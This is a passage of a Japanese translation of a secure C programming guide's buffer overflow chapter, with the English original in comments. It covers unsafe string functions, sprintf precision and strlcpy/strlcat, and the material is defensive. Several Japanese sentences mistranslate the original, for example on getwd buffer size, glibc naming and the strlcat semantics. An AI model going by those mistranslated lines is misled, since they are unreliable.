An extremely common security flaw is vulnerability to a ``buffer overflow''.
Buffer overflows are also called ``buffer overruns'', and there are
many kinds of buffer overflow attacks (including
``stack smashing'' and ``heap smashing'' attacks).
Technically, a buffer overflow is a problem with the program's internal
implementation, but it's such a common and serious problem that
I've placed this information in its own chapter.
To give you an idea of how important this subject is,
at the CERT, 9 of 13 advisories in 1998 and at least half of
the 1999 advisories involved buffer overflows.
An informal 1999 survey on Bugtraq found that approximately 2/3 of the
respondents felt that buffer overflows were the leading cause of
system security vulnerability (the remaining respondents identified
``mis-configuration'' as the leading cause) [Cowan 1999].
This is an old, well-known problem, yet it continues to resurface
[McGraw 2000].
-->
頻繁に発生しているセキュリティ上の弱点は、「バッファオーバーフロー」
に対する脆弱性です。
バッファオーバーフローは「バッファオーバーラン」とも言われ、さまざまな
バッファオーバーフロー攻撃が存在しています(「スタック領域破壊」や
「ヒープ領域破壊」もそうです)。
厳密に言えば、バッファオーバーフローはプログラムの実装上の問題ですが、
あまりに頻繁に発生し、かつ重大な問題を抱えているので、あえて独立して項目を
立てました。
この問題がいかに重要なのかは、CERT の勧告の内 1998 年の 13 の内の 9、1999 
年の少なくとも半分以上がバッファオーバーフロー関連であることで明らかです。
Bugtraq による 1999 年の非公式な調査でも、おおよそ 2/3 の回答がバッファ
オーバーフローがセキュリティの脆弱さの原因としています(残りの回答は「設定ミス」
が原因としています) [Cowan 1999]。
これは以前からある既知の問題ですが、未だに幾度となく現れる問題です
[McGraw 2000]。
【訳註：Bugtraq は、セキュリティ関連の情報をやり取りする ML です。
	<ulink url="http://www.securityfocus.com/archive/1">
	ML のアーカイブ</ulink> が公開されています。
	日本語での ML も存在しています。詳しくは、
	<ulink url="http://www.securityfocus.com/popups/forums/bugtraq-jp/faq.shtml#0.1.1">BUGTRAQ-JP FAQ</ulink>
	を見てください】
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: Get the stats from the libsafe paper -->
</para>

<para>
<!--
A buffer overflow occurs when you write a set of values
(usually a string of characters) into a fixed length buffer
and write at least one value outside that buffer's boundaries
(usually past its end).
A buffer overflow can occur when reading input from the user into a buffer,
but it can also occur during other kinds of processing in a program.
-->
バッファオーバーフローは、ある値(文字列等)を固定長のバッファ領域にその領域
を越えて書き続けてしまう場合に発生します。
バッファオーバーフローは、ユーザからの入力をバッファに読み込む時にも
起こりますし、プログラムのまったく違った処理の最中にも起こる可能性があります。
</para>

<para>
<!--
If a secure program permits a buffer overflow, the overflow can often be
exploited by an adversary.
If the buffer is a local C variable, the overflow can be used to
force the function to run code of an attackers' choosing.
This specific variation is often called a ``stack smashing'' attack.
A buffer in the heap isn't much better; attackers may be able to
use such overflows to control other variables in the program.
More details can be found from Aleph1 [1996], Mudge [1995], LSD [2001],
or the Nathan P. Smith's
"Stack Smashing Security Vulnerabilities" website at
<ulink
url="http://destroy.net/machines/security/">http://destroy.net/machines/security/</ulink>.
-->
安全性が求められるプログラムでバッファオーバーフローが起きると、攻撃者がそれを
悪用するケースがよくあります。
バッファが C のローカル変数で実装されていた場合、攻撃者はこのオーバーフローを
その関数中で望みのコードを強制的に実行させる手段として利用します。
この攻撃のバリエーションは「スタック破壊(stack smashing)」攻撃と呼ぶ場合も
ままあります。
バッファがヒープ領域にあっても、状況が良くなるわけではありません。攻撃者
は、オーバーフローを使って、プログラム中の変数をコントロールできます。
さらに詳細な情報は、Aleph1 [1996]や Mudge [1995]、LSD [2001]を参考にするか、
Nathan P. Smith 氏のサイト
<ulink
url="http://destroy.net/machines/security/">http://destroy.net/machines/security/</ulink> にある「Stack Smashing Security Vulnerabilities」を見てください。
【訳註：ヒープ領域は、プログラムで利用するデータを格納する領域で、
利用時に動的に割り当てられ、利用が済むと解放された後、再利用に回されます。
C では malloc(3) で確保された領域がこれに当たります】
</para>

<para>
<!--
Most high-level programming languages are essentially
immune to this problem, either
because they automatically resize arrays (e.g., Perl), or because they normally
detect and prevent buffer overflows (e.g., Ada95).
However, the C language provides no protection against
such problems, and C++ can be easily used in ways to cause this problem too.
Assembly language also provides no protection, and some languages
that normally include such protection (e.g., Ada and Pascal) can have
this protection disabled (for performance reasons).
Even if most of your program is written in another language,
many library routines are written in C or C++, as well as ``glue'' code to
call them, so other languages often don't provide as complete a protection
from buffer overflows as you'd like.
-->
高水準言語の大部分は、そもそもこういった問題に影響されません。
理由は、自動的に配列の大きさを変更したり(たとえば Perl)、バッファオーバー
フローを検知して防御するようになっていたり(たとえば、Ada95)するからです。
しかし、C はこのような問題に対して、何も防ぐ手段を持ち合わせていませんし、
C++ でもこの問題を発生させるのは他愛もありません。
アセンブリ言語でも何も防御する方法がありません。言語にはそのような防御を
持っているもの(たとえば、Ada や Pascal)もありますが、通常は無効になって
います(性能上の理由です)。
たとえプログラムの大部分を他の言語で書いていても、ライブラリルーチンの
多くとそのライブラリルーチンを呼び出すインタフェースコードは C や C++ 
で書いてあります。したがって、他の言語が期待通りにバッファオーバーフローを完全
に防ぐとは言えません。
</para>

<sect1 id="dangers-c">
<!--
<title>Dangers in C/C++</title>
-->
<title>C や C++ の危険なところ</title>

<para>
<!--
C users must avoid using dangerous functions that do not check bounds
unless they've ensured that the bounds will never get exceeded.
Functions to avoid in most cases (or ensure protection) include
the functions strcpy(3), strcat(3), sprintf(3)
(with cousin vsprintf(3)), and gets(3).
These should be replaced with functions such as strncpy(3), strncat(3),
snprintf(3), and fgets(3) respectively, but see the discussion below.
The function strlen(3) should be avoided unless you can ensure that there
will be a terminating NIL character to find.
The scanf() family (scanf(3), fscanf(3),  sscanf(3),  vscanf(3),
vsscanf(3), and vfscanf(3)) is often dangerous to use; do not use it
to send data to a string without controlling the maximum length
(the format %s is a particularly common problem).
Other dangerous functions that may permit buffer overruns (depending on their
use) include
realpath(3), getopt(3), getpass(3),
streadd(3), strecpy(3), and strtrns(3).
You must be careful with getwd(3); the buffer sent to getwd(3) must be
at least PATH_MAX bytes long.
-->
C ユーザは、確保されている領域を越えることはありえないと確証できなければ、
境界をチェックしない危険な関数を使うべきではありません。
通常使用を避けた方が良い(確実に防御すべき)関数には、strcpy(3)や strcat(3)、
sprintf(3)(親戚に当たる vsprintf(3))、gets(3) があります。
その代わりとして、strncpy(3)や、strncat(3)、snprintf(3)や fgets(3)の使用を
お薦めします。詳しくは下記で論じますので読んでください。
strlen(3)は NIL が必ず存在するのが確実でなければ、使用を避けてください。
scanf()系 (scanf(3)や fscanf(3)、sscanf(3)、vscanf(3)、vsscanf(3)、vfscanf(3))
は、使用するのに危険な場合が多々あります。最長値を把握せずにデータを文字列に
渡さないでください(とりわけ %s という形式は問題になります)。
バッファオーバーランしてしまうかもしれない他の危険な関数として(その使い方
にもよりますが)、realpath(3)や getopt(3)、getpass(3)、streadd(3)、strecpy(3)、
strtrns(3)があります。
getwd(3)には注意しないといけません。getwd(3)に送るバッファは、たった PATH_MAX 
バイトしかありません。
</para>

<para>
<!--
Unfortunately, snprintf()'s variants have additional problems.
Officially, snprintf() is not a standard C function in the ISO 1990
(ANSI 1989) standard, though sprintf() is,
so not all systems include snprintf().
Even worse, some systems' snprintf() do not actually protect
against buffer overflows; they just call sprintf directly.
Old versions of Linux's libc4 depended on a ``libbsd'' that did this
horrible thing, and I'm told that some old HP systems did the same.
Linux's current version of snprintf is known to work correctly, that is, it
does actually respect the boundary requested.
The return value of snprintf() varies as well;
the Single Unix Specification (SUS) version 2
and the C99 standard differ on what is returned by snprintf().
Finally, it appears that at least some versions of
snprintf don't guarantee that its string will end in NIL; if the
string is too long, it won't include NIL at all.
Note that the glib library (the basis of GTK, and not the same as the
GNU C library glibc) has a g_snprintf(), which
has a consistent return semantic, always NIL-terminates, and
most importantly always respects the buffer length.
-->
snprintf()系は残念ながらもっと問題を抱えています。
sprintf() と違って snprintf()は、公式には ISO 1990(ANSI 1989)規格の標準 C 
関数ではありません。
したがって、システムすべてに snprintf() があるわけではありません。
さらに困ったことに、あるシステムの snprintf()は、バッファオーバーフロー
を実質防ぎません。ただ sprintf を呼び出すだけです。
Linux の libc4 という古いバージョンは、「libbsd」ライブラリに依存して
いました。これが実に嫌らしいライブラリでした。古い HP のシステムにも
同様なものがありました。
Linux の最近の  snprintf は正しく動作することがわかっていて、要求された
境界値をたしかに守っています。
snprintf() の返り値もさまざまです。
Single Unix Specification (SUS) version 2 と C99 規格では、何が返るか違って
います。
結果的にわかったのは、snprintf のバージョンには文字列が NIL で終端するのを
保証しないものがある、という事実です。文字列が長すぎれば、NIL がまったく
ないでしょう。
glib ライブラリ(GTK のベースになっているもので、GNU C ライブラリの glib とは
違います)には g_snprintf() があります。返り値が一貫しており、常に NIL で終端
します。もっと重要なのは、バッファの長さを常に守っている点です。
【訳註：C99 規格は、「ISO/IEC 9899:1999 - Programming Language C」を指し
ます。詳しくは 
<ulink url="http://seclan.dll.jp/c99d/">http://seclan.dll.jp/c99d/</ulink> 
を参照してください】
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- libsafe protects:
       [vf]scanf(const char *format, ...)
              May overflow its arguments. 
       realpath(char *path, char resolved_path[])
              May overflow the path buffer. 
       [v]sprintf(char *str, const char *format, ...)
              May overflow the str buffer. 
-->
</para>

</sect1>

<sect1 id="library-c">
<!-- <title>Library Solutions in C/C++</title> -->
<title>C と C++ でのライブラリによる解決策</title>

<para>
<!--
One solution in C/C++ is to use library functions that do not have
buffer overflow problems.
The first subsection describes the ``standard C library'' solution, which
can work but has its disadvantages.
The next subsection describes the general security issues of both
fixed length and dynamically reallocated approaches to buffers.
The following subsections describe various alternative libraries,
such as strlcpy and libmib.
-->
C/C++ における解決策として、バッファオーバーフローの問題を抱えていない関数
ライブラリの利用があります。
はじめのサブセクションでは、「標準 C ライブラリ」を使った解決方法を説明し
ます。効果はありますが、欠点もあります。
次のサブセクションでは、バッファオーバーフローに対して、固定長と動的に再確保
する両方法でセキュリティ上よく発生する問題を説明します。
次のサブセクションでは、strlcpy や libmib といった、その他さまざまなライブラリ
について説明します。
</para>

<sect2 id="buffer-standard-solution">
<!-- <title>Standard C Library Solution</title> -->
<title>標準 C ライブラリによる解決策</title>

<para>
<!--
The ``standard'' solution to prevent buffer overflow in C
(which is also used in some C++ programs)
is to use the standard C library calls that defend against these problems.
This approach depends heavily on the standard library functions
strncpy(3) and strncat(3).
If you choose this approach, beware: these calls have somewhat surprising
semantics and are hard to use correctly.
The function strncpy(3) does not NIL-terminate the destination string
if the source string length is at least equal to the destination's, so
be sure to set the last character of the destination string to NIL after
calling strncpy(3).
If you're going to reuse the same buffer many times,
an efficient approach is to tell strncpy() that the buffer is one
character shorter than it actually is and set the last character to
NIL once before use.
Both strncpy(3) and strncat(3) require that you pass
the amount of space left available, a computation
that is easy to get wrong (and getting it wrong could permit a
buffer overflow attack).
Neither provide a simple mechanism to determine if an overflow has occurred.
Finally, strncpy(3) has a significant performance penalty compared
to the strcpy(3) it supposedly replaces,
because <emphasis remap="it">strncpy(3) NIL-fills the remainder of the destination</emphasis>.
I've gotten emails expressing surprise over this last point, but this is
clearly stated in Kernighan and Ritchie second edition
[Kernighan 1988, page 249], and this behavior is clearly documented in
the man pages for Linux, FreeBSD, and Solaris.
This means that just changing from strcpy to strncpy can cause a severe
reduction in performance, for no good reason in most cases.
-->
C でバッファオーバーフローを防ぐ「常套」手段(C++ でも使われています)は、
バッファオーバーフローを防いでいる標準 C ライブラリを呼び出すことです。
この解決方法は、標準関数である strncpy(3)と strncat(3)次第でどうにでも
なります。
この解決策をとるには注意が必要です。使い方が意外と面倒で、正しく扱うのが
難しいからです。
strncpy(3)はコピー元の文字列がコピー先以上の長さなら、コピー先の文字列の終端
に NIL をセットしません。したがって、strncpy(3)を呼出した後に、コピー先の終端
に NIL を必ずセットするようにしてください。
同じバッファを何回も使い回したいなら、strncpy()を使う時に、バッファには実際
必要なものより 1 文字小さくして渡し、使う前に最後の文字にいったん NIL を
セットしてください。これは効果があります。
strncpy(3)、strncat(3)とも、書き込みできる領域の残りの大きさを引数で渡す
必要がありますが、この残量の計算をよく間違います(ここで間違ってしまうと、
バッファオーバーフロー攻撃を許してしまいます)。
どちらの関数も仕組み上、バッファオーバーフローが発生したかどうかを簡単に
確認できません。
結果として、代替え関数である strncpy(3)は strcpy(3)に比べて、パフォーマンスが
劣ります。これは <emphasis remap="it">strncpy(3)がコピー先の残り領域を NIL 
で埋めるためです</emphasis>。
私はこの最後の点について驚いた様子の電子メールをいくつか受け取りました。
しかしこの点は Kernighan 氏 と Ritchie 氏共著の第二版 [Kernighan 1988、
249 頁]に確かに載っており、この動作は Linux や FreeBSD、Solaris の man 
にも載っています。
この strcpy から strncpy への変更は性能の著しい低下を意味し、たいていの
場合これはよろしくない結果になります。
</para>

<para>
<!--
Warning!!
The function strncpy(s1, s2, n) can also be used as
a way of copying only part of s2, where n is less than strlen(s2).
When used this way, strncpy() basically provides no protection against
buffer overflow by itself - you have to take
separate actions to ensure that n is smaller than the buffer of s1.
Also, when used this way, strncpy() does not usually add a trailing NIL
after copying n characters.
This makes it harder to determine if a program using strncpy() is secure.
-->
注意！。
strncpy(s1, s2, n)は、s2 のある部分だけをコピーする場合にも使えます。ここ
では n が strlen(s2) より小さい値です。
このように使われた場合、strncpy()自身は基本的にバッファオーバーフローに対して
防御する仕組みを持っていません。つまり、n が s1 のバッファより必ず小さくなる
ように、独立に処理する必要があります。
また、このように使う場合、普通 strncpy()は n 文字をコピーした後に NIL を付け
加えません。
このことが、strncpy()を使ったプログラムが安全であるかどうかを判断しがたい
ものにしています。
</para>

<para>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- from Hudin Lucian, BUGTRAQ - 29 Jun 2000 -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- David A. Wheeler checked it and found that it was WRONG - 18 July 2000 -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Sean Winn reaffirmed this 28 Oct 2000.  Wheeler rechecked, and found
     that his code was wrong.  Text here was rewritten as a result. -->
<!--
You can also use sprintf() while preventing
buffer overflows, but you need to be careful when doing so;
it's so easy to misapply that it's hard to recommend.
The sprintf control string can contain various conversion specifiers
(e.g., "%s"), and the control specifiers can have optional
field width (e.g., "%10s") and precision (e.g., "%.10s") specifications.
These look quite similar (the only difference is a period)
but they are very different.
The field width only
specifies a <emphasis>minimum</emphasis> length and is
completely worthless for preventing buffer overflows.
In contrast, the precision specification specifies the maximum
length that that particular string may have in its output when
used as a string conversion specifier - and thus it can be used
to protect against buffer overflows.
Note that the precision specification only specifies the total maximum
length when dealing with a string; it has a different meaning for
other conversion operations.
If the size is given as "*", then you can pass the maximum size
as a parameter (e.g., the result of a sizeof() operation).
This is most easily shown by an example - here's the wrong and right
way to use sprintf() to protect against buffer overflows:
-->
sprintf()を使ってもバッファオーバーフローは防げます。しかし、そうするには
注意が必要です。
お薦めしがたい間違いを簡単に犯してしまいます。
sprinf の制御文字にはいろいろと便利な指定方法(たとえば「%s」)があります。
そして制御を指定する部分には、オプションフィールド長(たとえば、「%10s」)を
指定したり、精度(たとえば、「%.10s」)を指定できたりします。
これらは似たように見えますが(違いはピリオドだけ)、まったく異なります。
フィールド長で指定する場合、<emphasis>最小値</emphasis>を指定するだけでは、
バッファオーバーフローを防ぐのにはまったく役立ちません。
これとは対照的に、精度で指定する方法では最大値を指定し、指定した文字列は
文字列変換指定に基づいて出力されます。つまり、これがバッファオーバーフロー
を防ぐのに役立ちます。
文字列を扱う場合、精度で指定する方法だけが全体の最大長を指定できる
ことを忘れないでください。他の変換指定ではまた違う意味になります。
長さに「*」を指定すると、最大長をパラメタで渡すことができます(たとえば
sizeof()の結果を)。
例で簡単に示せますので、ここでは sprintf()を使ったバッファオーバーフローを防ぐ
悪い例と良い例を挙げておきます。
<programlisting width="61">
 char buf[BUFFER_SIZE];
 sprintf(buf, "%*s",  sizeof(buf)-1, "long-string");  /* WRONG */
 sprintf(buf, "%.*s", sizeof(buf)-1, "long-string");  /* RIGHT */
</programlisting>
<!--
In theory, sprintf() should be very helpful because you can use it
to specify complex formats.
Sadly, it's easy to get things wrong with sprintf().
If the format is complex, you
need to make sure that the destination is large enough for the largest
possible size of the <emphasis>entire</emphasis>
format, but the precision field only controls
the size of one parameter.
The "largest possible" value is often hard to determine when a
complicated output is being created.
If a program doesn't allocate quite enough space for the longest possible
combination, a buffer overflow vulnerability may open up.
Also, sprintf() appends a NUL to the destination
after the entire operation is complete -
this extra character is easy to forget and creates an opportunity
for off-by-one errors.
So, while this works, it can be painful to use in some circumstances.
-->
理屈上 sprintf()はとても便利です。それは複雑なフォーマットを指定できるから
です。
ただ、sprintf()で間違いを犯すのも簡単です。
フォーマットが複雑なら、必ず変換先の大きさを<emphasis>すべてにおいて</emphasis>
最大の大きさとするフォーマットにしてください。しかし、精度を指定する部分は
1 つのパラメタの大きさしか指定できません。
生成する出力が複雑な場合は、「考えうる最大の」値を決めるのは困難です。
考えうる最大長の組み合わせに対して、プログラムが十分な空きを確保していなければ、
バッファオーバーフローの脆弱さが残されたままになっているでしょう。
また、sprintf()は処理が完全に終わった後に、NUL を変換先に加えます。後で加えた
この文字は忘れやすく、これが「1 バイト間違った(off-by-one)」エラーを起こす
原因になります。
このように動作すると、状況によっては痛い目にあうことになるかもしれません。
</para>
<para>
<!--
Also, a quick note about the code above - note that the sizeof()
operation used the size of an array.
If the code were changed so that ``buf'' was a pointer to some
allocated memory, then all ``sizeof()'' operations would have to be
changed (or sizeof would just measure the size of a pointer, which isn't
enough space for most values).
-->
また、上記のコードで気にかけておいて欲しいのは、sizeof()という処理が
配列の大きさになる点です。
「buf」が確保したメモリのポインタになるようにコードを変更すると、
「sizeof()」の処理すべてを修正しなければなりません(さもないと、sizeof は
ポインタの大きさを計ってしまい、これはたいていの値にとって十分な領域とは
いえません)。
</para>

</sect2>

<sect2 id="static-vs-dynamic-buffers">
<!-- <title>Static and Dynamically Allocated Buffers</title> -->
<title>静的もしくは動的に確保したバッファ</title>

<para>
<!--
Functions such as strncpy
are useful for dealing with statically allocated buffers.
This is a programming approach where a buffer is allocated for
the ``longest useful size'' and then it stays a fixed size from then on.
The alternative is to dynamically reallocate buffer sizes as you need them.
It turns out that both approaches have security implications.
-->
strncpy のような関数は、静的に確保したバッファを扱うのに便利です。
バッファは「使い物になる十分な大きさ」で確保してあり、確保した時からずっと
同じ大きさのまま、という方針でプログラムを作っています。
もう 1 つの方法は、必要な大きさのバッファを動的に確保する方法です。
どちらの方法もセキュリティに密接な関連があります。
</para>

<para>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Thanks to Ryan McCabe (thanks.odin@numb.org) for the comment
     that fixed-length buffers have their own exploitable problems. -->
<!--
There is a general security problem when using fixed-length buffers: the fact
that the buffer is a fixed length may be exploitable.
This is a problem with strncpy(3) and strncat(3), snprintf(3),
strlcpy(3), strlcat(3), and other such functions.
The basic idea is that the attacker sets up a really long string so that,
when the string is truncated, the final result will be what the
attacker wanted (instead of what the developer intended).
Perhaps the string is catenated from several smaller
pieces; the attacker might make the first piece as long as the entire
buffer, so all later attempts to concatenate strings do nothing.
Here are some specific examples:
-->
固定長のバッファを使う場合に、共通したセキュリティ上の問題があります。それは
固定長のバッファはやられやすい、という事実です。
これは strncpy(3)や strncat(3)、snprintf(3)、strlcpy(3)、strlcat(3)他が
抱えている問題です。
攻撃者はいかにも長い文字列を設定する、というのが基本的な考えです。その結果
その文字列が切り捨てられると、最終的には攻撃者が望んだ状態になります
(開発者が意図した結果ではなく)。
ひょっとすると、文字列がいくつかの小さな部分から構成されている場合もあります。
攻撃者は、最初の部分にバッファを埋めつくすだけの長い文字列を入れて、後の文字列
をまとめる作業を無効にするかもしれません。
ここで、具体例をいくつか挙げてみます。
<itemizedlist>
<listitem>

<para>
<!--
Imagine code that calls gethostbyname(3) and, if
successful, immediately copies hostent-&#62;h&lowbar;name to a
fixed-size buffer using strncpy or snprintf.
Using strncpy or snprintf protects against an overflow of an excessively
long fully-qualified domain name (FQDN), so you might think you're done.
However, this could result in chopping off the end of the FQDN.
This may be very undesirable, depending on what happens next.
-->
gethostbyname(3)を呼び出すコードを思い浮かべてください。頭に浮かんだら、
hostent-&#62;h&lowbar;name を固定長のバッファに strncpy か snprintf で
コピーしてください。
strncpy か snprintf を使っているので、極端に長い完全修飾ドメイン名(FQDN)
を入れてもオーバーフローを防げます。したがってこれで終わりと思われるでしょう。
しかしこれでは FQDN の末尾を切り捨ててしまう結果になりかねません。
これは非常にまずいことで、次に何がくるかで状況が変わってしまいます。
</para>
</listitem>
<listitem>

<para>
<!--
Imagine code that uses strncpy, strncat, snprintf, etc., to copy the
full path of a filesystem object to some buffer.
Further imagine that the original value was provided by an
untrusted user, and that the copying is part of a process to pass a
resulting computation to a function.
Sounds safe, right?
Now imagine that an attacker pads a path
with a large number of '/'s at the beginning.  This could
result in future operations being performed on the file ``/''.
If the program appends values in the belief that the result will be safe,
the program may be exploitable.
Or, the attacker could devise a long filename near the buffer length, so that
attempts to append to the filename would silently fail to occur
(or only partially occur in ways that may be exploitable).
-->
strncpy や strncat、snprintf 等を使う場合を思い浮かべてください。ファイル
システムの実体を表現したフルパスをあるバッファにコピーします。
さらに元の値が信頼できないユーザからのもので、そのコピーが計算の結果をある関数
に渡す処理の一部だと考えてみてください。
これで安全なのでしょうか。
ここで、攻撃者がパスの先頭に多量の「/」を埋め込むことを想像してみてください。
これは「/」というファイルに対する操作になってしまいます。
プログラムが結果は安全だと信じて値を追加するなら、そのプログラムはやられて
しまうかもしれません。
もしくは、攻撃者はバッファの長さに近い長いファイル名を考え出して、ファイル名
を追加することで、密かに壊してしまうかもしれません(もしくは、部分的にやられて
しまうかもしれません)。
</para>
</listitem>

</itemizedlist>

</para>

<para>
<!--
When using statically-allocated buffers,
you really need to consider the length of the source and destination arguments.
Sanity checking the input and the resulting intermediate computation might
deal with this, too.
-->
静的に確保したバッファを使う時には、引数となっている元になる領域と渡す先の
領域の長さをよく考えなければいけません。
そして、入力や処理中に出る中間の結果も注意深くチェックしてください。
</para>

<para>
<!--
Another alternative is to dynamically reallocate all strings instead of using
fixed-size buffers.
This general approach is recommended by the GNU programming guidelines,
since it permits programs to handle arbitrarily-sized inputs
(until they run out of memory).
Of course, the major problem with dynamically allocated strings is that you
may run out of memory.  The memory may even be exhausted at some other
point in the program than the portion where you're worried about buffer
overflows; any memory allocation can fail.
Also, since dynamic reallocation may cause memory to be inefficiently
allocated, it is entirely possible to run out of memory even though
technically there is enough virtual memory available to the program
to continue.
In addition, before running out of memory the program will probably
use a great deal of virtual memory; this can easily result in
``thrashing'', a situation in which the computer spends all its time
just shuttling information between the disk and memory (instead of
doing useful work).
This can have the effect of a denial of service attack.
Some rational limits on input size can help here.
In general, the program must be designed to
fail safely when memory is exhausted if you use dynamically allocated strings.
-->
もう一つの選択肢は、固定長のバッファを使わずに、文字列すべてを動的に確保する
方法です。
この方法は GNU のプログラミング・ガイドラインで推奨していて、プログラムで
どんな大きさの入力も扱えるようになります(メモリを越えない限り)。
動的に文字列を確保した際に起こる問題は、確保したメモリを越えて動作させて
しまう点にあるのは、言うまでもありません。メモリは、バッファオーバーフロー
を起こすのではないか、と気にしている部分ではなく、プログラムのどこか他の所で
使い切ってしまうかもしれません。これではメモリをどこにも確保できません。
また、動的な確保はメモリを効率良く利用できない恐れがありますので、理論的に
そのプログラムが動き続けるのに十分な仮想メモリがあったとしても、メモリを
オーバーして動作してしまう可能性は十分にあります。
さらに、プログラムはメモリをオーバーしてしまう前に、おそらく多量の仮想メモリを
使います。こうなるとたいてい「スラッシング」に陥ります。スラッシングが起こると、
コンピュータはディスクとメモリ間での情報の受け渡しにすべての時間を費やして
しまいます(生産的な処理をするかわりに)。
これはサービス拒否攻撃と同じ影響を与えます。
入力の大きさに対して理にかなった制限を設けると効果があります。
普通プログラムで動的に文字列を確保するなら、メモリを使い果たしても
フェイル・セーフになるように設計しなければなりません。
</para>

</sect2>

<sect2 id="strlcpy">
<!-- <title>strlcpy and strlcat</title> -->
<title>strlcpy と strlcat</title>

<para>
<!--
An alternative, being employed by OpenBSD, is the
strlcpy(3) and strlcat(3) functions by Miller and de Raadt [Miller 1999].
This is a minimalist, statically-sized buffer approach that provides C string
copying and concatenation with a different (and less error-prone) interface.
Source and documentation of these functions
are available under a newer BSD-style open source license at
<ulink
url="ftp://ftp.openbsd.org/pub/OpenBSD/src/lib/libc/string/strlcpy.3">ftp://ftp.openbsd.org/pub/OpenBSD/src/lib/libc/string/strlcpy.3</ulink>.
-->
もう一つの方法は、OpenBSD で採用している strlcpy(3) と strlcat(3)です。これは 
Miller 氏と de Raadt氏[Miller 1999]が作成しました。
これは機能を最小限に抑え、静的な大きさを持つバッファを採用しています。C の
文字列をコピーし、連結するのに異なるインタフェースを採用しています(エラーを
起こしにくい)。
これらの関数のソースとドキュメントは、
<ulink
url="ftp://ftp.openbsd.org/pub/OpenBSD/src/lib/libc/string/strlcpy.3">ftp://ftp.openbsd.org/pub/OpenBSD/src/lib/libc/string/strlcpy.3</ulink>
で利用でき、新しい BSD スタイルのオープンソースライセンスを採用しています。
</para>

<para>
<!-- First, here are their prototypes: -->
まずプロトタイプを挙げます。

<screen width="61">
size_t strlcpy (char *dst, const char *src, size_t size);
size_t strlcat (char *dst, const char *src, size_t size);
</screen>

<!--
Both strlcpy and strlcat
take the full size of the destination buffer as a parameter
(not the maximum number of characters to be copied) and guarantee to
NIL-terminate the result (as long as size is larger than 0).
Remember that you should include a byte for NIL in the size.
-->
strlcpy も strlcat もパラメタでコピー先のバッファを実際の大きさで指定でき
ます(コピーする文字数の最大値ではありません)。また、結果が NIL で終端する
ことを保証しています(大きさが 0 より大きい限りは)。
忘れてならないのは、大きさには NIL 用の 1 バイトを入れておく必要があること
です。
</para>

<para>
<!--
The strlcpy function copies up to
size-1 characters from the NUL-terminated string src to dst,
NIL-terminating the result.
The strlcat
function appends the NIL-terminated string
src to the end of dst.
It will append at most 
size - strlen(dst) - 1 bytes, NIL-terminating the result.
-->
strlcpy は、NUL で終端した元の文字列から、その size - 1 の文字をコピー
し、NIL で終端します。
strlcat は、NIL で終端してある文字列を末尾に追加します。
多く見積もっても size - strlen(dst) - 1 バイトを追加し、NIL で終端します。
</para>

<para>
<!--
One minor disadvantage of strlcpy(3) and strlcat(3) is that they are
not, by default, installed in most Unix-like systems.
In OpenBSD, they are part of &lt;string.h&gt;.
This is not that difficult a problem; since they are small functions, you can
even include them in your own program's source (at least as an option),
and create a small separate package to load them.
You can even use autoconf to handle this case automatically.
If more programs use these functions, it won't be long before these are
standard parts of Linux distributions and other Unix-like systems.
Also, these functions have
been recently added to the ``glib'' library (I submitted the patch
to do this), so using recent versions of glib makes them available.
In glib these functions are named g_strlcpy and g_strlcat
(not strlcpy or strlcat) to be consistent with the glib library
naming conventions.
-->
strlcpy(3) と strlcat(3)は、たいていの Unix ライクなシステム
にデフォルトではインストールされません。これが欠点と言えば欠点です。
OpenBSD では、&lt;string.h&gt; の一部になっています。
これはたいした問題ではありません。これらは小さな関数で、自作プログラムのソース
の中に入れたり(少なくともオプションとして)、独立したパッケージとして読み込め
ます。
こういったケースでは autoconf を使って自動化するのも可能です。
さらに多くのプログラムでこれらの関数を使えば、Linux ディストリビューション
や他の Unix ライクなシステムの標準構成の一部となるのもそう遠くはない
でしょう。
また最近になって、これらの関数は「glib」ライブラリに取り込まれました(私が
パッチを提供してこのようになりました)。したがって、最近のバージョンの glib を
使えば利用できます。
glib ではこれらの関数は g_strlcpy と g_strlcat となっていて(strlcpy や 
strlcat ではありません)、glib ライブラリの命名規則に沿った形になっています。
</para>

<para>
<!--
Also, strlcat(3) has slightly varying semantics
when the provided size is 0 or if there are no NIL characters in
the destination string dst (inside the given number of characters).
In OpenBSD, if the size is 0, then the destination string's length is
considered 0.
Also, if size is nonzero, but there are no NIL characters
in the destination string (in the size number of characters), then
the length of the destination is considered equal to the size.
These rules make handling strings without embedded NILs consistent.
Unfortunately, at least Solaris doesn't (at this time) obey these rules,
because they weren't specified in the original documentation.
I've talked to Todd Miller, and he and I agree that the OpenBSD
semantics are the correct ones (and that Solaris is incorrect).
The reasoning is simple: under no condition should strlcat or strlcpy
ever examine characters in the destination outside of the range of size;
such access might cause core dumps (from accessing out-of-range memory)
and even hardware interactions (through memory-mapped I/O).
Thus, given:
-->
また strlcat(3) は、長さが 0 もしくは NIL 文字が処理先の文字列(指定した
文字数の中で)にない場合に若干文法が変わっています。
OpenBSD では、長さが 0 ならば処理先の文字列の長さは 0 とみなします。
また長さが 0 以外で NIL 文字が処理先の文字列(文字数分)に無い場合は、
処理先の長さは指定したものと等しいとみなします。
これら規則によって、文字列への NIL の組み込みを徹底しています。
あいにく、少なくとも Solaris は(現時点では)この規則にしたがっていません。
理由は、オリジナルのドキュメントにそういう記述がないからです。
私は Todd Miller 氏と話し、OpenBSD の文法が正しいと合意しました
(Solaris が正しくないことにも)。
理由は単純です。どんな条件下であっても、strlcat や strlcpy は処理先が指定
した文字列の大きさを越えているかどうかを調べた方が良いのにもかかわらず、
それをしていないからです。
そのような方法をとると、core ダンプしてしまうか(メモリ範囲外にアクセスした
ため)、ハードウェアに悪影響を与えるかもしれません(メモリマップド I/O を通じて)。
つまりこうです。
<screen width="61">
  a = strlcat ("Y", "123", 0);
</screen>
<!--
The correct answer is 3 (0+3=3), but Solaris will claim the answer is 4
because it incorrectly looks at characters beyond the "size" length in
the destination.
For now, I suggest avoiding cases where the size is 0 or the destination
has no NIL characters.
Future versions of glib will hide this difference and always use the OpenBSD
semantics.
-->
正しい返り値は 3(0+3=3)ですが、Solaris は 4 になります。これは処理先の
「大きさ」の長さを越えた文字を正しく見ていないためです。
